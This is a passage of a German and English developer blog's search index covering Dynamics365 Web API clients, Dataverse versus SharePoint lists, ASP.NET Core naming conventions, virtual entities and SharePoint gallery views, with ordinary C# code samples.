$\u0026#34;/systemusers({OwnerId})\u0026#34;, _ =\u0026gt; null }; return null; } } } Ausblick Aktuell umfasst die Definition der Getter und Setter für Lookup-Spalten in den Model-Klassen recht viel Boilerplate-Code. Ein großer Wunsch von mir ist es, dass dieser in Zukunft automatisch generiert werden kann (entweder zur Lauf- oder Kompilierzeit).\nGeplant ist auch noch die Unterstützung einer Konfiguration des verwendeten HTTP-Clients oder die Bereitstellung dessen durch die Anwendung. Für die Ausführung von Batches fehlt noch der Support für GET-Requests und die Auswertung der Batch-Response. Besondere Web API Anfragen wie Dis-Assoziationen für Lookup-Spalten könnten zusätzlich unterstützt werden.\nInsgesamt befindet sich der Client noch in einer Alpha-Version.\nAn dieser Stelle möchte ich daher gerne nochmal darauf hinweisen, dass die gesamte Bibliothek als Open Source Projekt auf GitHub veröffentlicht ist – Contributors welcome!\n","date":"22. Juli 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/d365-xrm-web-api-client-3_hu7cccbb01e3b0bd0cf53a598bdb59866d_80201_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/d365-xrm-web-api-client-3_hu7cccbb01e3b0bd0cf53a598bdb59866d_80201_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/dynamics365-xrm-web-api-client-teil-3/","tags":["dynamics-365","crm"],"title":"Dynamics365 xRM Web API Client - Teil 3"},{"categories":["Insights"],"contents":"Mit Dataverse bietet Microsoft eine einfache Verwendung der Datenhaltung innerhalb der eigenen Power Platform. Wofür es grundsätzlich genutzt werden kann und welche Unterschiede zwischen Dataverse und beispielsweise Listen in SharePoint oder Microsoft List und insbesondere der Zugriff hierauf besteht, möchte ich in diesem Blogbeitrag beschreiben.\nMicrosoft Dataverse Als Teil der Power Platform, möchte Microsoft eine Schnittstelle schaffen, um auf die Daten der Geschäftsanwendungen zuzugreifen und all das auf die selbe Art und Weise. Unabhängig vom verwendeten System. Hierzu hat Microsoft auch die Terminologie angepasst. So werden Entitäten als Tabellen bezeichnet. Entsprechende Attribute oder Felder als Spalten deklariert, diese können z.B. den Namen, das Gehalt oder das Alter enthalten. Analog zur Erstellung von Power Apps können auch Tabellen in Dataverse erstellt werden. Es wird also ein visueller Editor bereitgestellt, welcher den User bei der Erstellung neuer Spalten unterstützt. Hierdurch können beispielsweise auch Spalten erstellt werden, welche einen direkten Bezug zu einer anderen Tabelle besitzen und als sog. Lookup-Typ definiert werden. Außerdem können Geschäftsregeln erstellt werden, um beispielsweise Standardwerte für Spalten zu definieren oder um Validierungsregeln zu erstellen, um die Eingabe in der Power App vor dem Absenden angewandt werden können.\nDataverse for Teams Für Teams existiert eine gesonderte Version von Dataverse, nämlich Dataverse for Teams. Bei der Erstellung von Power Apps für Teams, welche Dataverse for Teams als Datenbasis definiert, organisiert Dataverse die Ablage der Daten in die entsprechenden Datenspeicher. Somit werden beispielsweise Bilder oder Dokumente in einem Blob-Storage abgelegt und Daten in einer Tabelle. Dabei können bis zu 1.000.000 Einträge in der Datenbank oder 2 GB Daten gespeichert werden. Dataverse for Teams bildet allerdings einen eingeschränkteren Umfang der Funktionen, so stehen beispielsweise keine Geschäftsregeln zur Verfügung. Dataverse for Teams bildet allerdings einen einfachen einstieg um Power Apps auf Basis von Dataverse zu erstellen.\nVorteile von Dataverse Der zentrale Vorteil von Dataverse z.B. im Vergleich zu einem SQL-Server ist es, dass die Einrichtung, Verwaltung und Pflege des Servers nicht mehr vom Entwickler übernommen werden muss. Somit kann der Fokus auf die Entwicklung des Datenmodells und der zugehörigen (Power) App gelegt werden. Ein weiterer Vorteil ist, dass die Datenbasis oder der Zugriff darauf (z.B. via APIM) für den Anwender bzw. Entwickler stark simplifiziert. Zum einen managt Dataverse die dahinterliegenden Datenablagen, zum anderen wird somit auch die Skalierbarkeit der einzelnen Ressourcen von Dataverse übernommen.\nWas ist mit einfachen Listen in SharePoint? Wenn man sich nun Dataverse oder Dataverse for Teams anschaut, stellt man sich unweigerlich der Frage, welchen Zweck noch SharePoint Listen oder Microsoft List erfüllen. Die Frage ist durchaus berechtigt, lässt sich aber direkt beantworten: es hängt vom Anwendungsfall ab. SharePoint oder Microsoft Lists mit seinen oft flachen und großen Listen haben den Vorteil, dass alles direkt in einer Liste zur Verfügung steht. Hierbei werden oft keine relationalen Verbindungen zu anderen Listen o.ä. hergestellt. Wenn man nun in seinem Anwendungsfall z.B. eine simple Power App mit einer Liste zur Verwaltung der Assets im Unternehmen erstellen möchte, reicht hierzu eine flache Liste. Zusätzlich hat man hier den Vorteil, dass in einer bestehenden Microsoft E3 Lizenz der Zugang zu einem SharePoint bereits inklusive ist. Somit können die Lizenzkosten hierbei ignoriert werden.\nAuswahl der Datenhaltung Nun haben wir neben Dataverse und Dataverse for Teams auch die klassische SharePoint Liste bzw. Microsoft List betrachtet und grundsätzlich aufgezeigt, welche Einsatzszenarien für die jeweilige Datenhaltung verwendet werden soll. Bei einfachen Geschäftsvorfällen und -anwendungen kann auf eine SharePoint Liste zurückgegriffen werden. Mithilfe einer Power App kann hier bereits ein großer Mehrwert geschaffen werden. Falls ein komplexeres Datenmodell benötigt wird und die zu erstellende Power App in Teams genutzt werden soll, eignet sich Dataverse for Teams besonders hierzu. Wenn diese Power App auch noch außerhalb von Teams und mit erweiterten Sicherheitsrollen und Geschäftsregeln ausgestattet werden soll um komplexe Business Apps zu entwickeln, eignet sich Dataverse besonders hierfür. Da Dataverse verhältnismäßig neu auf dem Markt ist, besitzt Power Automate hierfür natürlich auch deutlich weniger Aktionen und Trigger verglichen mit SharePoint. Dies sollte man ebenfalls in der Auswahl der entsprechenden Datenhaltung berücksichtigen.\nFazit Dataverse sollte nicht als Ersatz für SharePoint Listen oder SQL Server gesehen werden, sondern als eine eigenständige Lösung die sich dazwischen einordnen lässt. Zum einen werden die Limitationen, die SharePoint mit seinen Listen besitzt, mit Dataverse aufgehoben und zum anderen können relationale Daten abgebildet werden. Dabei benötigt der User keine speziellen Tools, wie das SQL Management Studio für einen SQL Server, sondern kann es Power Platform typisch über den Browser konfigurieren. Gleichzeitig erhält man hierdurch mehr Steuerungsmöglichkeiten zwecks Zugriff auf die Daten selbst. Berücksichtigen sollte man die Lizenzkosten, welche für die Verwendung von Dataverse anfallen können. So hängt es vom jeweiligen Anwendungsfall ab, ob eine einfache Liste oder ein komplexeres Datenmodell verwendet werden soll. Falls man sich also dazu entscheidet z.B. eine Power App zu erstellen und bereits eine Office E3 Lizenz besitzt, lohnt sich die Nutzung einer einfachen SharePoint oder Microsoft List mehr. Falls allerdings ein komplexeres Datenmodell benötigt wird, bietet Dataverse eine gute alternative.\n","date":"15. Juli 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/dataverse-vs-sharepoint-listen_hu51e8bf80ab2673a1d1135becba402bbd_18330_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/dataverse-vs-sharepoint-listen_hu51e8bf80ab2673a1d1135becba402bbd_18330_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/dataverse-vs.-sharepoint-listen/","tags":["automation","microsoft-365"],"title":"Dataverse- vs. SharePoint-Listen"},{"categories":["How to"],"contents":"Zalando’s RESTful API Guidelines describes in detail how they design RESTful APIs and even offer a configurable OpenAPI Linter called zally . In this blog post, I want to show you how to configure ASP.NET Core 5.0 Web APIs to conform to three specific rules regarding path and JSON body layout. For that propose I modified the “weather forecast” starter template to demonstrate the rules which can be found on my GitHub profile .\nRule #118 : Property names must be ASCII snake_case (and never camelCase) Rule #129 : use lowercase separate words with hyphens for path segments Rule #130 : use snake_case (never camelCase) for query parameters Rule #118 : Property names must be ASCII snake_case (and never camelCase) First let us look how the default JSON body output looks like. Have a look at WeatherForecast class has the properties TemperatureCelsius and TemperatureFahrenheit.\npublic class WeatherForecast { public DateTime Date { get; set; } public int TemperatureCelsius { get; set; } public int TemperatureFahrenheit =\u0026gt; 32 + (int) (TemperatureCelsius / 0.5556); public string Summary { get; set; } } Without changing the setting of the Framework, we get the snakeCase formatting „temperatureCelsius“ and „temperatureFahrenheit“ as JSON property names.\n[ { \u0026#34;date\u0026#34;: \u0026#34;2021-07-07T08:31:49.9734021+02:00\u0026#34;, \u0026#34;temperatureCelsius\u0026#34;: 39, \u0026#34;temperatureFahrenheit\u0026#34;: 102, \u0026#34;summary\u0026#34;: \u0026#34;Warm\u0026#34; }, { \u0026#34;date\u0026#34;: \u0026#34;2021-07-09T08:31:49.9734114+02:00\u0026#34;, \u0026#34;temperatureCelsius\u0026#34;: 29, \u0026#34;temperatureFahrenheit\u0026#34;: 84, \u0026#34;summary\u0026#34;: \u0026#34;Scorching\u0026#34; } ] By default, APS.NET Core 5.0 uses System.Text.Json which currently only supports camelCase to serialize and deserialize objects into JSON. There is an open issue on the .NET runtime repository to add snake_case support.\nSolution #1 use [JsonPropertyName] The simple solution is to use [JsonPropertyName] Annotation from System.Text.Json.Serialization and define all property names by hand.\npublic class WeatherForecast { public DateTime Date { get; set; } [JsonPropertyName(\u0026#34;temperature_celsius\u0026#34;)] public int TemperatureCelsius { get; set; } [JsonPropertyName(\u0026#34;temperature_fahrenheit\u0026#34;)] public int TemperatureFahrenheit =\u0026gt; 32 + (int)(TemperatureCelsius / 0.5556); public string Summary { get; set; } } Which produces the desired output.\n[ { \u0026#34;date\u0026#34;: \u0026#34;2021-07-07T09:19:30.9345519+02:00\u0026#34;, \u0026#34;temperature_celsius\u0026#34;: 43, \u0026#34;temperature_fahrenheit\u0026#34;: 109, \u0026#34;summary\u0026#34;: \u0026#34;Sweltering\u0026#34; }, { \u0026#34;date\u0026#34;: \u0026#34;2021-07-08T09:19:30.9345608+02:00\u0026#34;, \u0026#34;temperature_celsius\u0026#34;: 5, \u0026#34;temperature_fahrenheit\u0026#34;: 40, \u0026#34;summary\u0026#34;: \u0026#34;Hot\u0026#34; } ] Solution #2 use Newtonsoft.Json Another solution is to use Newtonsoft.Json for serialization and configure it to use the SnakeCaseNamingStrategy. Here for you need to add a dependency on Microsoft.AspNetCore.Mvc.NewtonsoftJson and Swashbuckle.AspNetCore.Newtonsoft. Then configure ASP.NET Core and Swashbuckle to use Newtonsoft.Json instead of System.Text.Json.\n\u0026lt;itemgroup\u0026gt; \u0026lt;packagereference include=\u0026#34;Microsoft.AspNetCore.Mvc.NewtonsoftJson\u0026#34; version=\u0026#34;5.0.7\u0026#34;\u0026gt;\u0026lt;/packagereference\u0026gt; \u0026lt;packagereference include=\u0026#34;Swashbuckle.AspNetCore\u0026#34; version=\u0026#34;6.1.4\u0026#34;\u0026gt;\u0026lt;/packagereference\u0026gt; \u0026lt;packagereference include=\u0026#34;Swashbuckle.AspNetCore.Newtonsoft\u0026#34; version=\u0026#34;6.1.4\u0026#34;\u0026gt;\u0026lt;/packagereference\u0026gt; \u0026lt;/itemgroup\u0026gt; public void ConfigureServices(IServiceCollection services) { services.AddControllers() .AddNewtonsoftJson(options =\u0026gt; { options.SerializerSettings.ContractResolver = new DefaultContractResolver { NamingStrategy = new SnakeCaseNamingStrategy() }; options.SerializerSettings.Converters.Add(new StringEnumConverter()); }); services.AddSwaggerGenNewtonsoftSupport(); services.AddSwaggerGen(c =\u0026gt; { c.SwaggerDoc(\u0026#34;v1\u0026#34;, new OpenApiInfo {Title = \u0026#34;ZalandoRestfulApiGuidelinesWebApi\u0026#34;, Version = \u0026#34;v1\u0026#34;}); }); } Rule #129 : use lowercase separate words with hyphens for path segments By default, the Framework uses the Route Attribute [Route(„[controller]“)] to generate the path. For example, the WeatherForecastController will be reachable unter the /WeatherForecast path. But that does not comply to the rule. /weather-forecast would be compliant.\n[ApiController] [Route(\u0026#34;[controller]\u0026#34;)] [Consumes(\u0026#34;application/json\u0026#34;)] [Produces(\u0026#34;application/json\u0026#34;)] public class WeatherForecastController : ControllerBase { ... } Solution #1 explicit define the [Route] Simply use a constant string in the [Route] attribute. see line 2: [Route(„weather-forecast“)]\n[ApiController] [Route(\u0026#34;weather-forecast\u0026#34;)] [Consumes(\u0026#34;application/json\u0026#34;)] [Produces(\u0026#34;application/json\u0026#34;)] public class WeatherForecastController : ControllerBase { ... } Solution #2 use a RouteTokenTransformerConvention Use of an RouteTokenTransformerConvention to conform to this rule.\n// Source https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/routing?view=aspnetcore-5.0#use-a-parameter-transformer-to-customize-token-replacement public class SlugifyParameterTransformer : IOutboundParameterTransformer { public string TransformOutbound(object value) { if (value == null) { return null; } return Regex.Replace(value.ToString(), \u0026#34;([a-z])([A-Z])\u0026#34;, \u0026#34;$1-$2\u0026#34;, RegexOptions.CultureInvariant, TimeSpan.FromMilliseconds(100)).ToLowerInvariant(); } } //Startup.cs public void ConfigureServices(IServiceCollection services) { services.AddControllers(options =\u0026gt; { options.Conventions.Add(new RouteTokenTransformerConvention(new SlugifyParameterTransformer())); }); } Rule #130 : use snake_case (never camelCase) for query parameters Use of [FromQuery] Attribute to define the correct formatting.\n[HttpGet] public IEnumerable\u0026lt;WeatherForecast\u0026gt; Search( [FromQuery(Name = \u0026#34;q\u0026#34;)] string query, [FromQuery(Name = \u0026#34;created_before\u0026#34;)] string createdBefore) { ... } Links Sample Code on GitHub Rule #118: Property names must be ASCII snake_case (and never camelCase) Rule #129: use lowercase separate words with hyphens for path segments Rule #130: use snake_case (never camelCase) for query parameters ","date":"7. Juli 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/asp-net-core-zalando-rest-guidelines_hu52dfd8ab22303afb5002f2202362656b_27607_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/asp-net-core-zalando-rest-guidelines_hu52dfd8ab22303afb5002f2202362656b_27607_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-to-configure-asp.net-core-5.0-to-conform-to-zalandos-restful-api-guidelines/","tags":[".net","backend"],"title":"How to configure ASP.NET Core 5.0 to conform to Zalando’s RESTful API Guidelines"},{"categories":["Serien"],"contents":"In diesem abschließenden Teil zu virtuellen Entitäten in Dynamics 365 werden wir euch durch die restliche Konfiguration innerhalb der Plattform führen.\nRegistrierung des OData-Services als Datenquelle Der erste Schritt besteht darin, unseren OData-Service als Datenquelle zu registrieren. Über die erweiterten Einstellungen – Verwaltung – virtuelle Datenquellen gelangt ihr zur Listenansicht der entsprechenden Entität. Hier kann eine neue Datenquelle mit dem mitgelieferten OData v4 Data Provider von Microsoft erstellt werden.\nIm Formulareditor kann dann die Verknüpfung zum OData-Endpunkt hergestellt werden. Diesen haben wir im letzten Blog-Beitrag implementiert und als App Service in der Azure Cloud bereitgestellt. In der URL wird neben der reinen Adresse als relativer Pfad „odata“ spezifiziert – dort befindet sich der Einstiegspunkt der OData-Middleware.\nWichtig: Der darunterliegende Ticket-Endpunkt wird hier nicht angegeben, das kommt später.\nAls Anforderungsparameter haben wir den ApiKey des Web Service für den zuvor beschriebenen Authentifizierungsmechanismus hinzugefügt. Dynamics365 liefert diesen Wert als Query-Parameter bei Anfragen gegen die Schnittstelle mit. Allerdings müssen die Metadaten-Endpunkte öffentlich erreichbar sein, denn beim Abrufen der Metadaten wird dieser Parameter leider nicht mitgeschickt.\nKonfiguration der virtuellen Entität Nach erfolgreicher Konfiguration der Datenquelle kann die virtuelle Entität erzeugt werden. Dies geschieht im klassischen Solution-Editor, da noch keine virtuellen Entitäten in der neuen PowerApps-Oberfläche angelegt werden können. Wurde die Entität über die entsprechende Checkbox als virtuell markiert, kann die zuvor erstellte Datenquelle ausgewählt werden. Anschließend werden die üblichen Eigenschaften konfiguriert.\nNeben den bekannten Feldern aus normalen Entitäten besitzt eine virtuelle Entität noch zwei weitere wichtige Felder – der externe Name und der externe Sammlungsname. Die erstere der beiden Eigenschaften legt den Namen der Entität im OData-Endpunkt fest. Dieser entspricht in unserem Fall dem Klassennamen „Ticket“. Die zweite Eigenschaft gibt an, wie die Sammlung im OData-Endpunkt heißt und entspricht somit dem Pfad zum Tickets-Endpunkt. In unserem Beispiel ist dies der Pluralname der Entität.\nNun ist das Hauptfeld der Entität an der Reihe. Dieses wird hier auf die Ticketnummer festgelegt und ist vom Datentyp Einzelne Textzeile. Wie zuvor schon die Entität selbst verfügt auch das Hauptfeld über die Eigenschaft Externer Name. Dieser legt wieder das Mapping zur OData-Schnittstelle fest – die Namen der Felder müssen also auf beiden Seiten exakt übereinstimmen. Nachdem die Entität erstellt wurde, muss der externe Name des Primärschlüssels noch konfiguriert werden.\nNun ist es an der Zeit, dem Ticket weitere Attribute hinzuzufügen. Der Einzelpreis wäre üblicherweise vom Typ Money, da es sich um einen Geldbetrag handelt. Da dieser Datentyp für virtuelle Entitäten allerdings nicht unterstützt wird, muss auf den Datentyp Dezimalzahl ausgewichen werden. Wichtig an dieser Stelle ist das Attribut Feldanforderung. Dieses gibt an, ob der Einzelpreis optional oder die Eingabe verpflichtend ist. Sollte diese Einstellung nicht zu den Metadaten des Endpunktes passen, wird beim Laden der Entitätsdaten ein Fehler angezeigt.\nUm unseren Use Case zu vervollständigen, folgt nun die Anlage einer Beziehung zwischen der virtuellen Entität Ticket und der konventionellen Entität Event. In diesem Fall ist die primäre Entität das Event. Auch hier muss wieder der externe Name des Attributes konfiguriert werden. Dieses muss in der OData-Schnittstelle vom Datentyp Guid sein und eine zu einem Event passende Id enthalten. In unserem Beispiel haben wir noch eine zweite Beziehung zum Kontakt nach demselben Schema erstellt.\nWurde alles korrekt konfiguriert, sollten die Tickets jetzt in der Listenansicht angezeigt werden.\nTroubleshooting Ist etwas schiefgelaufen, wird eine etwas wenig aussagekräftige Fehlermeldung anstelle der Listeninhalte angezeigt.\nDie Fehlersuche gestaltet sich eher mühselig, jedoch eignet sich beispielsweise der Azure Dienst Application Insights dazu, Fehler im OData-Service bzw. in der Verknüpfung zu Dynamics zu finden. Ein guter Ansatzpunkt ist auch, die Attribute und Datentypen der virtuellen Entität genauestens zu überprüfen. Auch zusätzliche oder fehlende Felder können eine mögliche Ursache sein.\nFazit Damit sind wir am Ende unserer dreiteiligen Blogserie zu virtuellen Entitäten angelangt. Es hat sich gezeigt, dass mit nur relativ wenig Glue-Code eine externe Datenquelle einfach in Dynamics365 integrieren werden kann. Dem Endanwender werden kaum Unterschiede zu normalen Entitäten auffallen, die virtuellen Entitäten sind großartig in das System integriert.\nWie man mit einem Custom Datenprovider virtuelle Entitäten auch schreibbar macht, das schauen wir uns in einem gesonderten Beitrag noch genauer an. Es bleibt also spannend!\n","date":"23. Juni 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/virtuelle-entit%C3%A4ten-in-d365-3_hubd3189a2bdaf9c9eaf0790d9d4c4aa73_16564_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/virtuelle-entit%C3%A4ten-in-d365-3_hubd3189a2bdaf9c9eaf0790d9d4c4aa73_16564_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/virtuelle-entit%C3%A4ten-in-dynamics365-teil-3/","tags":["dynamics-365"],"title":"Virtuelle Entitäten in Dynamics365 - Teil 3"},{"categories":["How to","Quick-Tipps"],"contents":"Nicht zuletzt mit Microsoft List haben Listen in SharePoint in einem größeren Umfang an Funktionalitäten gewonnen. Dabei gehen die Möglichkeiten zur Formatierung und Darstellung der Listen weit über die Standardfunktionalitäten, wie Gruppierung und Filterung hinaus.\nSo können die Elemente einer Liste beispielsweise als Kachel angezeigt werden. Die Inhalte der jeweiligen Kacheln können entsprechend angepasst werden (Spalten, Reihenfolge der Spalten usw.), hierzu sind keine Programmierkenntnisse notwendig. Bereits eine breite Funktionalität wird konfigurativ abgedeckt. Weitere speziellere Einstellungen können über JSON hinzugefügt und angepasst werden.\nÜberblick In diesem Beitrag werden einige Möglichkeiten zur Konfiguration und Einstellungen für Listen in SharePoint aufgezeigt. Zusätzlich werden Einstellungen, welche nicht konfigurativ umsetzbar sind, mithilfe von JSON verändert.\nAusgangssituation Als Basis dient unsere Liste der Ressourcen mit einigen Feldern, welche unterschiedliche Feldtypen beinhaltet. Hierzu gehören neben mehreren Textfeldern (Anlagename, Typenummer, Hersteller, Eigenschaften), ein Personenfeld (Verantwortlich), ein Zahlenfeld (Anzahl), ein Dropdownfeld (Lagerort) und ein Ja/ Nein-Feld (Prüfung notwendig).\nDarstellung als Kacheln Um die Liste als Kacheln (Galerie) darstellen zu können, muss im Listenmenü in SharePoint rechts zunächst das DropDown-Feld (1) geöffnet werden und der Eintrag Galerie (2) gewählt werden.\nHierdurch werden die Einträge bereits als Kacheln angezeigt, u.a. eine Vorschau des hinterlegten Bildes. Die Ansicht ist somit bereits deutlich ansprechender als eine einfache Listendarstellung.\nAnpassen der Ansicht Die Galerie-Ansicht kann über die Formatierung der Ansicht (Alle Elemente; Aktuelle Ansicht bearbeiten) angepasst werden. Im Karten Designer können danach ausgewählt werden, welche Felder auf der Kachel angezeigt werden sollen, die Reihenfolge verändert werden und das Vorschaubild der entsprechenden Felder angezeigt werden.\n| | |\nBedingte Formatierung Mit Bedingten Formatierungen können Inhalte einzelner Felder hervorgehoben werden. Hierzu zählt z.B. farbliche Hervorhebung bei bestimmten Werten, oder der Anzeige von Zahlenfeldern als Datenbalken.\nUm eine bedingte Formatierung hinzuzufügen, muss in der Formatierungsansicht der Tab „Spalten formatieren“ ausgewählt werden. Nachdem die gewünschte Spalte ausgewählt wurde, kann die entsprechende Formatierung gewählt werden (z.B. Bedingte Formatierung).\nBei der Bedingten Formatierung setzt man anschließend die Bedingung/en, welche hierfür gelten sollen und die Zielfarbe, welche das Feld anschließend besitzen soll.\nNach dem Hinzufügen von weiteren Spaltenformatierungen erhalten wir eine Umfangreichere Darstellung der Listenelemente als Kacheln.\nAnpassen via JSON Nachdem wir bereits eine Vielzahl ein Einstellungen konfigurativ abbilden konnten, möchten wir uns nun dem Formatieren der Ansicht via JSON widmen. Hierzu möchten wir z.B. die Breite der Kacheln verändern. Dies lässt sich in der Formatierungsansicht der Liste anpassen indem im Karten-Designer in den Erweiterten Modus gewechselt wird.\nHier hat man u.a. die Möglichkeit die Breite der Kacheln (width) usw. einzustellen. Es können auch komplexere Hervorhebungen und Anpassungen vorgenommen werden. Allerdings lassen sich diese Änderungen nicht übernehmen, wenn man erneut in den Entwurfsmodus des Karten-Desinger wechseln möchte. Die Einstellungen, welche via JSON gemacht wurden, gehen hierdurch verloren.\nFazit Das hier beschriebene Beispiel hat deutlich gemacht, wie mächtig die Einstellungsmöglichkeiten der SharePoint Listen zusammen mit der Kachel/ Galerie-Ansicht bieten. Dabei sind eine Vielzahl an Einstellungen konfigurativ möglich. Komplexere Darstellungen können zwar in JSON abgebildet werden, doch bieten leider keine Möglichkeit für eine weitere Rückkehr in den Entwurfsmodus im Karten-Designer; die entsprechenden Einstellungen im JSON würden ansonsten verworfen werden. Nichts desto trotz erhält man innerhalb kurzer Zeit und rein konfigurativ eine ansprechend gestaltete Kachel/ Galerie-Ansicht.\nWir unterstützen bei der Add-In-Entwicklung sowie bei der Anpassung und Teilentwicklung von Standardsoftware! ","date":"16. Juni 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sharepoint-listeneintraege-galerie_hu69101eb2bec4c0dcaa43d66e9205adaf_24108_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sharepoint-listeneintraege-galerie_hu69101eb2bec4c0dcaa43d66e9205adaf_24108_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/darstellung-von-sharepoint-listeneintr%C3%A4gen-als-galerie/","tags":["microsoft-365","frontend"],"title":"Darstellung von SharePoint-Listeneinträgen als Galerie"},{"categories":["Serien"],"contents":"Im ersten Teil der Blogreihe haben wir euch den Client und dessen allgemeine Funktionsweise vorgestellt. Heute wagen wir den Schritt in die Praxis und ich zeige euch, wie ihr diesen in eure Projekte integriert und verwendet – am Beispiel einer kleinen Konsolenanwendung.\nDynamics365 xRM Web API-Client (Teil 1): Vorstellung und Einführung Dynamics365 xRM Web API-Client (Teil 2): Arbeiten mit dem Client\nDynamics365 xRM Web API-Client (Teil 3): Tipps, Tricks \u0026 Work in Progress Installation Die Integration des Clients in eure Projekte gestaltet sich denkbar einfach – denn wir haben diesen für euch gepackt und als NuGet veröffentlicht. Zum Zeitpunkt der Verfassung dieses Artikels liegt die Softwarebibliothek in der Version 0.2.0 vor und kann eurem Projekt oder eurer Solution in Visual Studio wie gewohnt über den NuGet-Paketmanager hinzugefügt werden.\nVerwendung XRM Models In Dataverse liegen einige bestimmte Tabellen immer vor – zu diesen Kerntabellen zählen beispielsweise Firma oder Kontakt. Je nach Unternehmensbedürfnis können diese zusätzlich angepasst oder erweitert werden, etwa um neue Spalten oder Beziehungen. Weiter können Unternehmen auch eigene Tabellen in Dataverse erstellen.\nUm mit diesen unternehmensspezifischen Daten arbeiten zu können, muss der xRM Client mit den entsprechenden Tabellen und Spalten zunächst bekannt gemacht werden. Dies geschieht über Models (ähnlich wie bei Entity Framework Core), die in Form von Klassen erbracht werden und einer bestimmten Form folgen müssen.\nBeim Abrufen von Reihen aus Dataverse mit dem Client werden diese aus der Web API-Response in Objekte der entsprechenden Model-Klassen deserialisiert. Beim Schreiben von Reihen in Dataverse werden die entsprechenden Objekte der Model-Klassen serialisiert und in einem HTTP-Request an die Web API übertragen.\nBeim Schreiben der Model-Klassen gilt es grundsätzlich folgendes zu beachten:\nJede Model-Klasse muss mit dem DataverseTable-Attribut als solche gekennzeichnet werden\nÜber das DataverseTable-Attribut wird dem Client der (Plural-)Name der Tabelle in Dataverse mitgeteilt. Dieser wird für jeden Request gegen die Web API benötigt und kann vom Klassennamen abweichen.\nJede Model-Klasse muss eine Guid-Eigenschaft implementieren, die mit dem DataverseRowId-Attribut gekennzeichnet ist\nJede Reihe in Dataverse besitzt eine einzigartige ID, die dem Client für Einzeloperationen (z.B. Updates) bekannt sein muss. Über das Attribut wird dem Client kenntlich gemacht, bei welcher Eigenschaft der Model-Klasse es sich um diesen eindeutigen Bezeichner handelt.\nDie Spalten einer Tabelle werden grundsätzlich über den Schemanamen auf die Eigenschaften der Model-Klassen und vice versa abgebildet\nDer Client verwendet für die Serialisierung und Deserialisierung der Reihen zwischen eurer Anwendung und der Web API die Klassen aus dem System.Text.Json Namespace. Sollten die Namen der Eigenschaften der Model-Klasse also vom Schemanamen der Spalten der entsprechenden Tabelle in der JSON abweichen, muss dies über das JsonPropertyName -Attribut kenntlich gemacht werden.\nDa sich dieses Vorgehen zwar als vollkommen gangbar, wie wir in Teil 3 allerdings noch sehen werden für kompliziertere Szenarien etwas umständlich erwiesen hat, darf in zukünftigen Versionen an dieser Stelle eine Verbesserung erwartet werden (wahrscheinlich in Form von Custom-Attributen, hierzu muss ich mir noch eine elegante Lösung einfallen lassen).\nMachen wir ein einfaches Beispiel hierzu.\nFür unsere Konsolenanwendung soll eine Model-Klasse für den Umgang mit Aufträgen aus dem Sales-Modul implementiert werden. Die Tabelle wurde um ein Feld für den geschätzten Aufwand des Auftrags bis zur Erfüllung in Stunden (new_estimatedeffort_number, Ganze Zahl) erweitert.\nEin passendes Model hierzu könnte daher wie folgt aufgebaut sein:\n[DataverseTable(\u0026#34;salesorder\u0026#34;, \u0026#34;salesorders\u0026#34;)] class SalesOrder { [DataverseRowId] [JsonPropertyName(\u0026#34;salesorderid\u0026#34;)] public Guid Id { get; set; } [JsonPropertyName(\u0026#34;new_estimatedeffort_number\u0026#34;)] public int EstimatedEffort { get; set; } } Alle weiteren Spalten der Tabelle, die hier nicht im Model abgebildet sind, werden standardmäßig einfach ignoriert. Das Verhalten des Clients bei der Serialisierung und Deserialisierung ist über JsonSerializerOptions anpassbar.\nInitialisierung Um eine einsatzbereite Instanz des xRM Client in eurer Anwendung zu erhalten, wird die ConnectAsync-Fabrikmethode verwendet. Sie kümmert sich um die Authentifizierung der Anwendung gegenüber Azure mittels OAuth 2.0 Client Credential Flow und baut anschließend eine autorisierte Verbindung zu Dynamics365 auf. Dazu müssen folgende Verbindungsinformationen über ein Objekt der DynamicsXrmConnectionParams-Klasse bereitgestellt werden:\nDie (Service-Root-)URL der 